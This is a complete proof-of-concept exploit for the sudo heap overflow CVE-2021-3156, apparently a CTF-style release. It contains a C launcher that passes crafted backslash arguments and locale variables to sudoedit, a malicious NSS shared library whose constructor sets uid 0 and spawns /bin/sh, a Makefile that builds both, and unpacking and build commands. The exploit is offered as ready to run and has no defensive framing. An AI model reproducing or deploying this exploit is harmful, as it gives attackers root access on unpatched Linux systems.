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// Tested on:
// Ubunutu 20.0.4.1 LTS
// Sudo version 1.8.31
// Sudoers policy plugin version 1.8.31
// Sudoers file grammar version 46
// Sudoers I/O plugin version 1.8.31


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <ctype.h>

#define SUDOEDIT_PATH "/usr/bin/sudoedit"

int main(int argc, char *argv[]) {
	// CTF quality exploit below.
	char *s_argv[]={
		"sudoedit",
		"-u", "root", "-s",
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\",
		"\\",
		"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB123456\\",
		NULL
	};

	char *s_envp[]={
		"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
		"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
		"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
		"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
		"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
		"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
		"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
		"\\", "\\", "\\", "\\", "\\", "\\", "\\",  
		"X/P0P_SH3LLZ_", "\\",
		"LC_MESSAGES=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
		"LC_ALL=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
		"LC_CTYPE=C.UTF-8@AAAAAAAAAAAAAA",
		NULL
	};

	printf("**** CVE-2021-3156 PoC\n");

	execve(SUDOEDIT_PATH, s_argv, s_envp);

	return 0;
}

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#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
static void __attribute__ ((constructor)) _init(void);
 
static void _init(void) {
	printf("[+] bl1ng bl1ng! We got it!\n");
	setuid(0); seteuid(0); setgid(0); setegid(0);
	static char *a_argv[] = { "sh", NULL };
	static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
	execv("/bin/sh", a_argv);
}

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all:
	rm -rf libnss_X
	mkdir libnss_X
	gcc -o sudo-hax-me-a-sandwich hax.c
	gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
clean:
	rm -rf libnss_X sudo-hax-me-a-sandwich

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tar -zxvf CVE-2021-3156.tar.gz
cd CVE-2021-3156
make